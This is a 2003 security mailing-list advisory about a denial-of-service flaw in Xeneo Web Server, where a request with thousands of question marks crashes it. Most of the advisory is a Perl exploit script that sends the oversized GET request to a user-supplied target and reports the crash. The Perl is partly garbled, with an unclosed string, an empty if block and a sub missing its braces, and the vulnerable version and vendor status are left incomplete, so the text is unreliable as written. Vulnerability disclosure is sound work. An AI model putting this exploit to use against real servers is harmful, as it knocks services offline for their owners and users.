[NT] Xeneo Web Server Denial of Service Vulnerability (? Attack)

From: support@securiteam.com
Date: 04/22/03

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    From: support@securiteam.com
    To: list@securiteam.com
    Date: 22 Apr 2003 10:55:36 +0200

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      Xeneo Web Server Denial of Service Vulnerability (? Attack)


     <http://www.northernsolutions.com/index.php?view=product&id=1> Xeneo Web
    Server is "designed to deliver high performance and reliability. It can be
    easily extended and customized to host everything from a personal web site
    to advanced web applications that use ASP, PHP, ColdFusion, Perl, CGI, and
    ISAPI. Key Xeneo Web Server features include: multiple domain support,
    integrated Windows authentication, scripting interface, enhanced filter
    support, ISAPI, CGI, ASP, SSL, intelligent file caching and more". A
    remotely exploitable vulnerability in the product allows a remote attacker
    to cause the server to crash.


    Vulnerable systems:
     * Xeneo Web Server version

    Vendor status:
    Vendor was notified on 3/18/2003. Sent a few emails but never got any

    To exploit this vulnerability, simply do a GET / with 4096 ?'s or more
    will cause the web server to go down, or use the following exploit:

    # Xeneo Web Server DoS
    # Vulnerable systems:
    # Xeneo. Web Server
    # http://www.northernsolutions.com
    # Written by badpack3t <badpack3t@security-protocols.com>
    # For SP Research Labs
    # 04/21/2003
    # www.security-protocols.com
    # usage:
    # perl sp-xeneo.pl <target> <port>
    # big ups 2: c0nnie!!!! 143~!~!~!

    use IO::Socket;
    use strict;

    print ".:."x 20; print "\nXeneo Web Server DoS,
    print ".:."x 20; print "\n\n";

    if( !defined( $ARGV[ 0 ] && $ARGV[ 1 ]))

    my $host = $ARGV[ 0 ];
    my $def = "?";
    my $num = "4096";
    my $port = $ARGV[ 1 ];
    my $urfuqed = $def x $num;

    my $tcpval = getprotobyname( 'tcp' );
    my $serverIP = inet_aton( $host );
    my $serverAddr = sockaddr_in( $ARGV[ 1 ], $serverIP );
    my $protocol_name = "tcp";

    my $iaddr = inet_aton( $host ) || die ( "host was not found: $host" );
    my $paddr = sockaddr_in( $port, $iaddr ) || die ( "you did something wrong
    stupid... exiting..." );
    my $proto = getprotobyname( 'tcp' ) || die ( "cannot get protocol" );
    socket( SOCK, PF_INET, SOCK_STREAM, $proto ) || die ( "socket could not
    open: $host" );
    connect( SOCK, $paddr ) || die ( "cannot connect to: $host" );

    my $submit = "GET /$urfuqed HTTP/1.0\r\n\r\n";
    send( SOCK,$submit,0 );
    close( SOCK );

    sub usage
       die( "\n\nUsage: perl $0 <target_host> <port>\n\n" );

    print "\n.:.:.:.:.:.:.:.:.:.:.:.";
    print "\ncrash was successful ~!\n";
    print "\.:.:.:.:.:.:.:.:.:.:.:.\n";


    The information has been provided by
    <mailto:badpack3t@security-protocols.com> badpack3t.


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